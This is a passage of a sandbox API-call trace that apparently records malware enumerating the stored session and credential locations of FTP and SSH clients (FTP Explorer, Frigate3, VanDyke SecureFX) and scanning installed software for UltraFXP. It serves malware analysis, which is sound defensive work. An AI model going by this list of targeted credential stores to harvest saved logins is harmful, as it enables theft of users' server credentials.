out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\FTP Explorer") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\FTP Explorer" [0068.436] lstrcatA (in: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\FTP Explorer", lpString2="\\*.*" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\FTP Explorer\\*.*") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\FTP Explorer\\*.*" [0068.436] FindFirstFileA (in: lpFileName="C:\\Users\\EEBsYm5\\AppData\\Local\\FTP Explorer\\*.*", lpFindFileData=0x12fd3a | out: lpFindFileData=0x12fd3a) returned 0xffffffff [0068.436] LocalFree (hMem=0x6415d0) returned 0x0 [0068.436] LocalFree (hMem=0x641518) returned 0x0 [0068.436] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\FTP Explorer\\FTP Explorer\\Workspace\\MFCToolBar-224", ulOptions=0x0, samDesired=0x20019, phkResult=0x12feac | out: phkResult=0x12feac*=0x0) returned 0x2 [0068.436] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\FTP Explorer\\FTP Explorer\\Workspace\\MFCToolBar-224", ulOptions=0x0, samDesired=0x20219, phkResult=0x12fe80 | out: phkResult=0x12fe80*=0x0) returned 0x2 [0068.436] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\FTP Explorer\\FTP Explorer\\Workspace\\MFCToolBar-224", ulOptions=0x0, samDesired=0x20119, phkResult=0x12fe54 | out: phkResult=0x12fe54*=0x0) returned 0x2 [0068.436] RegOpenKeyA (in: hKey=0x80000001, lpSubKey="Software\\FTP Explorer\\Profiles", phkResult=0x12fed0 | out: phkResult=0x12fed0*=0x0) returned 0x2 [0068.436] IStream:RemoteSeek (in: This=0x6405d0, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x2 | out: plibNewPosition=0x2) returned 0x0 [0068.436] IStream:RemoteSeek (in: This=0x6405d0, dlibMove=0x148, dwOrigin=0x0, plibNewPosition=0x0 | out: plibNewPosition=0x0) returned 0x0 [0068.436] ISequentialStream:RemoteWrite (in: This=0x6405d0, pv=0x12fecc*=0x10, cb=0x4, pcbWritten=0x12fea8 | out: pcbWritten=0x12fea8*=0x4) returned 0x0 [0068.436] IStream:RemoteSeek (in: This=0x6405d0, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x2 | out: plibNewPosition=0x2) returned 0x0 [0068.436] IStream:RemoteSeek (in: This=0x6405d0, dlibMove=0x140, dwOrigin=0x0, plibNewPosition=0x0 | out: plibNewPosition=0x0) returned 0x0 [0068.436] IStream:SetSize (This=0x6405d0, libNewSize=0x140) returned 0x0 [0068.436] IStream:RemoteSeek (in: This=0x6405d0, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x1 | out: plibNewPosition=0x1) returned 0x0 [0068.436] IStream:RemoteSeek (in: This=0x6405d0, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x1 | out: plibNewPosition=0x1) returned 0x0 [0068.436] ISequentialStream:RemoteWrite (in: This=0x6405d0, pv=0x4147e5*=0x2, cb=0x8, pcbWritten=0x12fea8 | out: pcbWritten=0x12fea8*=0x8) returned 0x0 [0068.437] ISequentialStream:RemoteWrite (in: This=0x6405d0, pv=0x12fed0*=0x0, cb=0x4, pcbWritten=0x12feac | out: pcbWritten=0x12feac*=0x4) returned 0x0 [0068.437] ISequentialStream:RemoteWrite (in: This=0x6405d0, pv=0x12fee4*=0xf, cb=0x2, pcbWritten=0x12fea8 | out: pcbWritten=0x12fea8*=0x2) returned 0x0 [0068.437] ISequentialStream:RemoteWrite (in: This=0x6405d0, pv=0x12fee8*=0x0, cb=0x2, pcbWritten=0x12fea8 | out: pcbWritten=0x12fea8*=0x2) returned 0x0 [0068.437] LocalAlloc (uFlags=0x40, uBytes=0x185) returned 0x626a88 [0068.437] SHGetFolderPathA (in: hwnd=0x0, csidl=26, hToken=0x0, dwFlags=0x0, pszPath=0x626a88 | out: pszPath="C:\\Users\\EEBsYm5\\AppData\\Roaming") returned 0x0 [0068.437] lstrlenA (lpString="C:\\Users\\EEBsYm5\\AppData\\Roaming") returned 32 [0068.437] lstrlenA (lpString="\\Frigate3") returned 9 [0068.437] LocalAlloc (uFlags=0x40, uBytes=0xaa) returned 0x641518 [0068.437] lstrcpyA (in: lpString1=0x641518, lpString2="C:\\Users\\EEBsYm5\\AppData\\Roaming" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming") returned="C:\\Users\\EEBsYm5\\AppData\\Roaming" [0068.437] lstrcatA (in: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming", lpString2="\\Frigate3" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Frigate3") returned="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Frigate3" [0068.437] LocalFree (hMem=0x626a88) returned 0x0 [0068.437] lstrlenA (lpString="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Frigate3") returned 41 [0068.437] lstrlenA (lpString="\\*.*") returned 4 [0068.437] LocalAlloc (uFlags=0x40, uBytes=0xae) returned 0x6415d0 [0068.437] lstrcpyA (in: lpString1=0x6415d0, lpString2="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Frigate3" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Frigate3") returned="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Frigate3" [0068.437] lstrcatA (in: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Frigate3", lpString2="\\*.*" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Frigate3\\*.*") returned="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Frigate3\\*.*" [0068.437] FindFirstFileA (in: lpFileName="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Frigate3\\*.*", lpFindFileData=0x12fd42 | out: lpFindFileData=0x12fd42) returned 0xffffffff [0068.437] LocalFree (hMem=0x6415d0) returned 0x0 [0068.437] LocalFree (hMem=0x641518) returned 0x0 [0068.437] LocalAlloc (uFlags=0x40, uBytes=0x185) returned 0x626a88 [0068.437] SHGetFolderPathA (in: hwnd=0x0, csidl=35, hToken=0x0, dwFlags=0x0, pszPath=0x626a88 | out: pszPath="C:\\ProgramData") returned 0x0 [0068.437] lstrlenA (lpString="C:\\ProgramData") returned 14 [0068.437] lstrlenA (lpString="\\Frigate3") returned 9 [0068.437] LocalAlloc (uFlags=0x40, uBytes=0x98) returned 0x641518 [0068.437] lstrcpyA (in: lpString1=0x641518, lpString2="C:\\ProgramData" | out: lpString1="C:\\ProgramData") returned="C:\\ProgramData" [0068.437] lstrcatA (in: lpString1="C:\\ProgramData", lpString2="\\Frigate3" | out: lpString1="C:\\ProgramData\\Frigate3") returned="C:\\ProgramData\\Frigate3" [0068.437] LocalFree (hMem=0x626a88) returned 0x0 [0068.437] lstrlenA (lpString="C:\\ProgramData\\Frigate3") returned 23 [0068.437] lstrlenA (lpString="\\*.*") returned 4 [0068.437] LocalAlloc (uFlags=0x40, uBytes=0x9c) returned 0x6415b8 [0068.437] lstrcpyA (in: lpString1=0x6415b8, lpString2="C:\\ProgramData\\Frigate3" | out: lpString1="C:\\ProgramData\\Frigate3") returned="C:\\ProgramData\\Frigate3" [0068.437] lstrcatA (in: lpString1="C:\\ProgramData\\Frigate3", lpString2="\\*.*" | out: lpString1="C:\\ProgramData\\Frigate3\\*.*") returned="C:\\ProgramData\\Frigate3\\*.*" [0068.437] FindFirstFileA (in: lpFileName="C:\\ProgramData\\Frigate3\\*.*", lpFindFileData=0x12fd42 | out: lpFindFileData=0x12fd42) returned 0xffffffff [0068.438] LocalFree (hMem=0x6415b8) returned 0x0 [0068.438] LocalFree (hMem=0x641518) returned 0x0 [0068.438] LocalAlloc (uFlags=0x40, uBytes=0x185) returned 0x626a88 [0068.438] SHGetFolderPathA (in: hwnd=0x0, csidl=28, hToken=0x0, dwFlags=0x0, pszPath=0x626a88 | out: pszPath="C:\\Users\\EEBsYm5\\AppData\\Local") returned 0x0 [0068.438] lstrlenA (lpString="C:\\Users\\EEBsYm5\\AppData\\Local") returned 30 [0068.438] lstrlenA (lpString="\\Frigate3") returned 9 [0068.438] LocalAlloc (uFlags=0x40, uBytes=0xa8) returned 0x6292f8 [0068.438] lstrcpyA (in: lpString1=0x6292f8, lpString2="C:\\Users\\EEBsYm5\\AppData\\Local" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local") returned="C:\\Users\\EEBsYm5\\AppData\\Local" [0068.438] lstrcatA (in: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local", lpString2="\\Frigate3" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Frigate3") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\Frigate3" [0068.438] LocalFree (hMem=0x626a88) returned 0x0 [0068.438] lstrlenA (lpString="C:\\Users\\EEBsYm5\\AppData\\Local\\Frigate3") returned 39 [0068.438] lstrlenA (lpString="\\*.*") returned 4 [0068.438] LocalAlloc (uFlags=0x40, uBytes=0xac) returned 0x641518 [0068.438] lstrcpyA (in: lpString1=0x641518, lpString2="C:\\Users\\EEBsYm5\\AppData\\Local\\Frigate3" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Frigate3") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\Frigate3" [0068.438] lstrcatA (in: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Frigate3", lpString2="\\*.*" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Frigate3\\*.*") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\Frigate3\\*.*" [0068.438] FindFirstFileA (in: lpFileName="C:\\Users\\EEBsYm5\\AppData\\Local\\Frigate3\\*.*", lpFindFileData=0x12fd42 | out: lpFindFileData=0x12fd42) returned 0xffffffff [0068.438] LocalFree (hMem=0x641518) returned 0x0 [0068.438] LocalFree (hMem=0x6292f8) returned 0x0 [0068.438] IStream:RemoteSeek (in: This=0x6405d0, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x2 | out: plibNewPosition=0x2) returned 0x0 [0068.438] IStream:RemoteSeek (in: This=0x6405d0, dlibMove=0x148, dwOrigin=0x0, plibNewPosition=0x0 | out: plibNewPosition=0x0) returned 0x0 [0068.438] ISequentialStream:RemoteWrite (in: This=0x6405d0, pv=0x12fed4*=0x10, cb=0x4, pcbWritten=0x12feb0 | out: pcbWritten=0x12feb0*=0x4) returned 0x0 [0068.438] IStream:RemoteSeek (in: This=0x6405d0, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x2 | out: plibNewPosition=0x2) returned 0x0 [0068.438] IStream:RemoteSeek (in: This=0x6405d0, dlibMove=0x140, dwOrigin=0x0, plibNewPosition=0x0 | out: plibNewPosition=0x0) returned 0x0 [0068.438] IStream:SetSize (This=0x6405d0, libNewSize=0x140) returned 0x0 [0068.439] IStream:RemoteSeek (in: This=0x6405d0, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x1 | out: plibNewPosition=0x1) returned 0x0 [0068.439] IStream:RemoteSeek (in: This=0x6405d0, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x1 | out: plibNewPosition=0x1) returned 0x0 [0068.439] ISequentialStream:RemoteWrite (in: This=0x6405d0, pv=0x4147e5*=0x2, cb=0x8, pcbWritten=0x12fea8 | out: pcbWritten=0x12fea8*=0x8) returned 0x0 [0068.439] ISequentialStream:RemoteWrite (in: This=0x6405d0, pv=0x12fed0*=0x0, cb=0x4, pcbWritten=0x12feac | out: pcbWritten=0x12feac*=0x4) returned 0x0 [0068.439] ISequentialStream:RemoteWrite (in: This=0x6405d0, pv=0x12fee4*=0x10, cb=0x2, pcbWritten=0x12fea8 | out: pcbWritten=0x12fea8*=0x2) returned 0x0 [0068.439] ISequentialStream:RemoteWrite (in: This=0x6405d0, pv=0x12fee8*=0x0, cb=0x2, pcbWritten=0x12fea8 | out: pcbWritten=0x12fea8*=0x2) returned 0x0 [0068.439] LocalAlloc (uFlags=0x40, uBytes=0x185) returned 0x626a88 [0068.439] SHGetFolderPathA (in: hwnd=0x0, csidl=26, hToken=0x0, dwFlags=0x0, pszPath=0x626a88 | out: pszPath="C:\\Users\\EEBsYm5\\AppData\\Roaming") returned 0x0 [0068.439] lstrlenA (lpString="C:\\Users\\EEBsYm5\\AppData\\Roaming") returned 32 [0068.439] lstrlenA (lpString="\\VanDyke\\Config\\Sessions") returned 24 [0068.439] LocalAlloc (uFlags=0x40, uBytes=0xb9) returned 0x641518 [0068.439] lstrcpyA (in: lpString1=0x641518, lpString2="C:\\Users\\EEBsYm5\\AppData\\Roaming" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming") returned="C:\\Users\\EEBsYm5\\AppData\\Roaming" [0068.439] lstrcatA (in: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming", lpString2="\\VanDyke\\Config\\Sessions" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming\\VanDyke\\Config\\Sessions") returned="C:\\Users\\EEBsYm5\\AppData\\Roaming\\VanDyke\\Config\\Sessions" [0068.439] LocalFree (hMem=0x626a88) returned 0x0 [0068.439] lstrlenA (lpString="C:\\Users\\EEBsYm5\\AppData\\Roaming\\VanDyke\\Config\\Sessions") returned 56 [0068.439] lstrlenA (lpString="\\*.*") returned 4 [0068.439] LocalAlloc (uFlags=0x40, uBytes=0xbd) returned 0x626a88 [0068.439] lstrcpyA (in: lpString1=0x626a88, lpString2="C:\\Users\\EEBsYm5\\AppData\\Roaming\\VanDyke\\Config\\Sessions" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming\\VanDyke\\Config\\Sessions") returned="C:\\Users\\EEBsYm5\\AppData\\Roaming\\VanDyke\\Config\\Sessions" [0068.439] lstrcatA (in: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming\\VanDyke\\Config\\Sessions", lpString2="\\*.*" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming\\VanDyke\\Config\\Sessions\\*.*") returned="C:\\Users\\EEBsYm5\\AppData\\Roaming\\VanDyke\\Config\\Sessions\\*.*" [0068.439] FindFirstFileA (in: lpFileName="C:\\Users\\EEBsYm5\\AppData\\Roaming\\VanDyke\\Config\\Sessions\\*.*", lpFindFileData=0x12fd42 | out: lpFindFileData=0x12fd42) returned 0xffffffff [0068.439] LocalFree (hMem=0x626a88) returned 0x0 [0068.439] LocalFree (hMem=0x641518) returned 0x0 [0068.439] LocalAlloc (uFlags=0x40, uBytes=0x185) returned 0x626a88 [0068.439] SHGetFolderPathA (in: hwnd=0x0, csidl=35, hToken=0x0, dwFlags=0x0, pszPath=0x626a88 | out: pszPath="C:\\ProgramData") returned 0x0 [0068.439] lstrlenA (lpString="C:\\ProgramData") returned 14 [0068.439] lstrlenA (lpString="\\VanDyke\\Config\\Sessions") returned 24 [0068.439] LocalAlloc (uFlags=0x40, uBytes=0xa7) returned 0x6292f8 [0068.439] lstrcpyA (in: lpString1=0x6292f8, lpString2="C:\\ProgramData" | out: lpString1="C:\\ProgramData") returned="C:\\ProgramData" [0068.440] lstrcatA (in: lpString1="C:\\ProgramData", lpString2="\\VanDyke\\Config\\Sessions" | out: lpString1="C:\\ProgramData\\VanDyke\\Config\\Sessions") returned="C:\\ProgramData\\VanDyke\\Config\\Sessions" [0068.440] LocalFree (hMem=0x626a88) returned 0x0 [0068.440] lstrlenA (lpString="C:\\ProgramData\\VanDyke\\Config\\Sessions") returned 38 [0068.440] lstrlenA (lpString="\\*.*") returned 4 [0068.440] LocalAlloc (uFlags=0x40, uBytes=0xab) returned 0x641518 [0068.440] lstrcpyA (in: lpString1=0x641518, lpString2="C:\\ProgramData\\VanDyke\\Config\\Sessions" | out: lpString1="C:\\ProgramData\\VanDyke\\Config\\Sessions") returned="C:\\ProgramData\\VanDyke\\Config\\Sessions" [0068.440] lstrcatA (in: lpString1="C:\\ProgramData\\VanDyke\\Config\\Sessions", lpString2="\\*.*" | out: lpString1="C:\\ProgramData\\VanDyke\\Config\\Sessions\\*.*") returned="C:\\ProgramData\\VanDyke\\Config\\Sessions\\*.*" [0068.440] FindFirstFileA (in: lpFileName="C:\\ProgramData\\VanDyke\\Config\\Sessions\\*.*", lpFindFileData=0x12fd42 | out: lpFindFileData=0x12fd42) returned 0xffffffff [0068.440] LocalFree (hMem=0x641518) returned 0x0 [0068.440] LocalFree (hMem=0x6292f8) returned 0x0 [0068.440] LocalAlloc (uFlags=0x40, uBytes=0x185) returned 0x626a88 [0068.440] SHGetFolderPathA (in: hwnd=0x0, csidl=28, hToken=0x0, dwFlags=0x0, pszPath=0x626a88 | out: pszPath="C:\\Users\\EEBsYm5\\AppData\\Local") returned 0x0 [0068.440] lstrlenA (lpString="C:\\Users\\EEBsYm5\\AppData\\Local") returned 30 [0068.440] lstrlenA (lpString="\\VanDyke\\Config\\Sessions") returned 24 [0068.440] LocalAlloc (uFlags=0x40, uBytes=0xb7) returned 0x643aa8 [0068.440] lstrcpyA (in: lpString1=0x643aa8, lpString2="C:\\Users\\EEBsYm5\\AppData\\Local" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local") returned="C:\\Users\\EEBsYm5\\AppData\\Local" [0068.440] lstrcatA (in: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local", lpString2="\\VanDyke\\Config\\Sessions" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\VanDyke\\Config\\Sessions") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\VanDyke\\Config\\Sessions" [0068.440] LocalFree (hMem=0x626a88) returned 0x0 [0068.440] lstrlenA (lpString="C:\\Users\\EEBsYm5\\AppData\\Local\\VanDyke\\Config\\Sessions") returned 54 [0068.440] lstrlenA (lpString="\\*.*") returned 4 [0068.440] LocalAlloc (uFlags=0x40, uBytes=0xbb) returned 0x641518 [0068.440] lstrcpyA (in: lpString1=0x641518, lpString2="C:\\Users\\EEBsYm5\\AppData\\Local\\VanDyke\\Config\\Sessions" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\VanDyke\\Config\\Sessions") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\VanDyke\\Config\\Sessions" [0068.441] lstrcatA (in: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\VanDyke\\Config\\Sessions", lpString2="\\*.*" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\VanDyke\\Config\\Sessions\\*.*") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\VanDyke\\Config\\Sessions\\*.*" [0068.441] FindFirstFileA (in: lpFileName="C:\\Users\\EEBsYm5\\AppData\\Local\\VanDyke\\Config\\Sessions\\*.*", lpFindFileData=0x12fd42 | out: lpFindFileData=0x12fd42) returned 0xffffffff [0068.441] LocalFree (hMem=0x641518) returned 0x0 [0068.441] LocalFree (hMem=0x643aa8) returned 0x0 [0068.441] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\VanDyke\\SecureFX", ulOptions=0x0, samDesired=0x20019, phkResult=0x12feb4 | out: phkResult=0x12feb4*=0x0) returned 0x2 [0068.441] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\VanDyke\\SecureFX", ulOptions=0x0, samDesired=0x20219, phkResult=0x12fe88 | out: phkResult=0x12fe88*=0x0) returned 0x2 [0068.441] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\VanDyke\\SecureFX", ulOptions=0x0, samDesired=0x20119, phkResult=0x12fe5c | out: phkResult=0x12fe5c*=0x0) returned 0x2 [0068.441] IStream:RemoteSeek (in: This=0x6405d0, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x2 | out: plibNewPosition=0x2) returned 0x0 [0068.441] IStream:RemoteSeek (in: This=0x6405d0, dlibMove=0x148, dwOrigin=0x0, plibNewPosition=0x0 | out: plibNewPosition=0x0) returned 0x0 [0068.441] ISequentialStream:RemoteWrite (in: This=0x6405d0, pv=0x12fed4*=0x10, cb=0x4, pcbWritten=0x12feb0 | out: pcbWritten=0x12feb0*=0x4) returned 0x0 [0068.441] IStream:RemoteSeek (in: This=0x6405d0, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x2 | out: plibNewPosition=0x2) returned 0x0 [0068.441] IStream:RemoteSeek (in: This=0x6405d0, dlibMove=0x140, dwOrigin=0x0, plibNewPosition=0x0 | out: plibNewPosition=0x0) returned 0x0 [0068.441] IStream:SetSize (This=0x6405d0, libNewSize=0x140) returned 0x0 [0068.441] IStream:RemoteSeek (in: This=0x6405d0, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x1 | out: plibNewPosition=0x1) returned 0x0 [0068.441] IStream:RemoteSeek (in: This=0x6405d0, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x1 | out: plibNewPosition=0x1) returned 0x0 [0068.441] ISequentialStream:RemoteWrite (in: This=0x6405d0, pv=0x4147e5*=0x2, cb=0x8, pcbWritten=0x12fea0 | out: pcbWritten=0x12fea0*=0x8) returned 0x0 [0068.441] ISequentialStream:RemoteWrite (in: This=0x6405d0, pv=0x12fec8*=0x0, cb=0x4, pcbWritten=0x12fea4 | out: pcbWritten=0x12fea4*=0x4) returned 0x0 [0068.441] ISequentialStream:RemoteWrite (in: This=0x6405d0, pv=0x12fedc*=0x11, cb=0x2, pcbWritten=0x12fea0 | out: pcbWritten=0x12fea0*=0x2) returned 0x0 [0068.441] ISequentialStream:RemoteWrite (in: This=0x6405d0, pv=0x12fee0*=0x0, cb=0x2, pcbWritten=0x12fea0 | out: pcbWritten=0x12fea0*=0x2) returned 0x0 [0068.441] StrStrIA (lpFirst="Adobe Flash Player ActiveXAdobe Flash Player 10 ActiveX", lpSrch="UltraFXP") returned 0x0 [0068.442] StrStrIA (lpFirst="Adobe Flash Player PluginAdobe Flash Player 10 Plugin", lpSrch="UltraFXP") returned 0x0 [0068.442] StrStrIA (lpFirst="Google ChromeGoogle Chrome", lpSrch="UltraFXP") returned 0x0 [0068.442] StrStrIA (lpFirst="Mozilla Firefox 25.0 (x86 en-US)Mozilla Firefox 25.0 (x86 en-US)", lpSrch="UltraFXP") returned 0x0 [0068.442] StrStrIA (lpFirst="MozillaMaintenanceServiceMozilla Maintenance Service", lpSrch="UltraFXP") returned 0x0 [0068.442] StrStrIA (lpFirst="Office14.PRJPRORMicrosoft Project Professional 2010", lpSrch="UltraFXP") returned 0x0 [0068.442] StrStrIA (lpFirst="Office14.PROPLUSRMicrosoft Office Professional Plus 2010", lpSrch="UltraFXP") returned 0x0 [0068.442] StrStrIA (lpFirst="Office14.VISIORMicrosoft Visio Professional 2010", lpSrch="UltraFXP") returned 0x0 [0068.442] StrStrIA (lpFirst="{13A4EE12-23EA-3371-91EE-EFB36DDFFF3E}Microsoft Visual C++ 2013 x86 Minimum Runtime - 12.0.21005", lpSrch="UltraFXP") returned 0x0 [0068.442] StrStrIA (lpFirst="{26A24AE4-039D-4CA4-87B4-2F83217045FF}Java 7 Update 45", lpSrch="UltraFXP") returned 0x0 [0068.442] StrStrIA (lpFirst="{33d1fd90-4274-48a1-9bc1-97e33d9c2d6f}Microsoft Visual C++ 2012 Redistributable (x86) - 11.0.61030", lpSrch="UltraFXP") returned 0x0 [0068.442] StrStrIA (lpFirst="{444C5574-6BE0-323E-9BDD-922F6C3C4A04}Microsoft .NET Framework 4.6", lpSrch="UltraFXP") returned 0x0 [0068.442] StrStrIA (lpFirst="{582EA838-9199-3518-A05C-DB09462F68EC}Microsoft Visual C++ 2017 x86 Minimum Runtime - 14.10.25017", lpSrch="UltraFXP") returned 0x0 [0068.442] StrStrIA (lpFirst="{68306422-7C57-373F-8860-D26CE4BA2A15}Microsoft Visual C++ 2017 x86 Additional Runtime - 14.10.25017", lpSrch="UltraFXP") returned 0x0 [0068.442] StrStrIA (lpFirst="{710f4c1c-cc18-4c49-8cbf-51240c89a1a2}Microsoft Visual C++ 2005 Redistributable", lpSrch="UltraFXP") returned 0x0 [0068.442] StrStrIA (lpFirst="{90140000-0015-0409-0000-0000000FF1CE}Microsoft Office Access MUI (English) 2010", lpSrch="UltraFXP") returned 0x0 [0068.442] StrStrIA (lpFirst="{90140000-0016-0409-0000-0000000FF1CE}Microsoft Office Excel MUI (English) 2010", lpSrch="UltraFXP") returned 0x0 [0068.442] StrStrIA (lpFirst="{90140000-0018-0409-0000-0000000FF1CE}Microsoft Office PowerPoint MUI (English) 2010", lpSrch="UltraFXP") returned 0x0 [0068.442] StrStrIA (lpFirst="{90140000-0019-0409-0000-0000000FF1CE}Microsoft Office Publisher MUI (English) 2010", lpSrch="UltraFXP") returned 0x0 [0068.442] StrStrIA (lpFirst="{90140000-001A-0409-0000-0000000FF1CE}Microsoft Office Outlook MUI (English) 2010", lpSrch="UltraFXP") returned 0x0 [0068.442] StrStrIA (lpFirst="{90140000-001B-0409-0000-0000000FF1CE}Microsoft Office Word MUI (English) 2010", lpSrch="UltraFXP") returned 0x0 [0068.442] StrStrIA (lpFirst="{90140000-001F-0409-0000-0000000FF1CE}Microsoft Office Proof (English) 2010", lpSrch="UltraFXP") returned 0x0 [0068.443] StrStrIA (lpFirst="{90140000-001F-0409-0000-0000000FF1CE}_Office14.PRJPROR_{99ACCA38-6DD3-48A8-96AE-A283C9759279}Microsoft Office 2010 Service Pack 1 (SP1)", lpSrch="UltraFXP") returned 0x0 [0068.443] StrStrIA (lpFirst="{90140000-001F-0409-0000-0000000FF1CE}_Office14.PROPLUSR_{99ACCA38-6DD3-48A8-96AE-A283C9759279}Microsoft Office 2010 Service Pack 1 (SP1)", lpSrch="UltraFXP") returned 0x0 [0068.443] StrStrIA (lpFirst="{90140000-001F-040C-0000-0000000FF1CE}Microsoft Office Proof (French) 2010", lpSrch="UltraFXP") returned 0x0 [0068.443] StrStrIA (lpFirst="{90140000-001F-040C-0000-0000000FF1CE}_Office14.PRJPROR_{46298F6A-1E7E-4D4A-B5F5-106A4F0E48C6}Microsoft Office 2010 Service Pack 1 (SP1)", lpSrch="UltraFXP") returned 0x0 [0068.443] StrStrIA (lpFirst="{90140000-001F-040C-0000-0000000FF1CE}_Office14.PROPLUSR_{46298F6A-1E7E-4D4A-B5F5-106A4F0E48C6}Microsoft Office 2010 Service Pack 1 (SP1)", lpSrch="UltraFXP") returned 0x0 [0068.443] StrStrIA (lpFirst="{90140000-001F-0C0A-0000-0000000FF1CE}Microsoft Office Proof (Spanish) 2010", lpSrch="UltraFXP") returned 0x0 [0068.443] StrStrIA (lpFirst="{90140000-001F-0C0A-0000-0000000FF1CE}_Office14.PRJPROR_{DEA87BE2-FFCC-4F33-9946-FCBE55A1E998}Microsoft Office 2010 Service Pack 1 (SP1)", lpSrch="UltraFXP") returned 0x0 [0068.443] StrStrIA (lpFirst="{90140000-001F-0C0A-0000-0000000FF1CE}_Office14.PROPLUSR_{DEA87BE2-FFCC-4F33-9946-FCBE55A1E998}Microsoft Office 2010 Service Pack 1 (SP1)", lpSrch="UltraFXP") returned 0x0 [0068.443] StrStrIA (lpFirst="{90140000-002C-0409-0000-0000000FF1CE}Microsoft Office Proofing (English) 2010", lpSrch="UltraFXP") returned 0x0 [0068.443] StrStrIA (lpFirst="{90140000-002C-0409-0000-0000000FF1CE}_Office14.PRJPROR_{7CA93DF4-8902-449E-A42E-4C5923CFBDE3}Microsoft Office 2010 Service Pack 1 (SP1)", lpSrch="UltraFXP") returned 0x0 [0068.443] StrStrIA (lpFirst="{90140000-002C-0409-0000-0000000FF1CE}_Office14.PROPLUSR_{7CA93DF4-8902-449E-A42E-4C5923CFBDE3}Microsoft Office 2010 Service Pack 1 (SP1)", lpSrch="UltraFXP") returned 0x0 [0068.443] StrStrIA (lpFirst="{90140000-0044-0409-0000-0000000FF1CE}Microsoft Office InfoPath MUI (English) 2010", lpSrch="UltraFXP") returned 0x0 [0068.443] StrStrIA (lpFirst="{90140000-0054-0409-0000-0000000FF1CE}Microsoft Office Visio MUI (English) 2010", lpSrch="UltraFXP") returned 0x0 [0068.443] StrStrIA (lpFirst="{90140000-0054-0409-0000-0000000FF1CE}_Office14.VISIOR_{CDC4310F-8189-485F-B47D-D972217CE173}Microsoft Office 2010 Language Pack Service Pack 1 (SP1)", lpSrch="UltraFXP") returned 0x0 [0068.443] StrStrIA (lpFirst="{90140000-006E-0409-0000-0000000FF1CE}Microsoft Office Shared MUI (English) 2010", lpSrch="UltraFXP") returned 0x0 [0068.443] StrStrIA (lpFirst="{90140000-006E-0409-0000-0000000FF1CE}_Office14.PRJPROR_{4560037C-E356-444A-A015-D21F487D809E}Microsoft Office 2010 Service Pack 1 (SP1)", lpSrch="UltraFXP") returned 0x0 [0068.443] StrStrIA (lpFirst="{90140000-006E-0409-0000-0000000FF1CE}_Office14.PROPLUSR_{4560037C-E356-444A-A015-D21F487D809E}Microsoft Office 2010 Service Pack 1 (SP1)", lpSrch="UltraFXP") returned 0x0 [0068.444] StrStrIA (lpFirst="{90140000-00A1-0409-0000-0000000FF1CE}Microsoft Office OneNote MUI (English) 2010", lpSrch="UltraFXP") returned 0x0 [0068.444] StrStrIA (lpFirst="{90140000-00B4-0409-0000-0000000FF1CE}Microsoft Office Project MUI (English) 2010", lpSrch="UltraFXP") returned 0x0 [0068.444] StrStrIA (lpFirst="{90140000-00B4-0409-0000-0000000FF1CE}_Office14.PRJPROR_{18A0C151-8F8A-4B68-A960-60C464B94329}Microsoft Project 2010 Service Pack 1 (SP1)", lpSrch="UltraFXP") returned 0x0 [0068.444] StrStrIA (lpFirst="{90140000-00BA-0409-0000-0000000FF1CE}Microsoft Office Groove MUI (English) 2010", lpSrch="UltraFXP") returned 0x0 [0068.444] 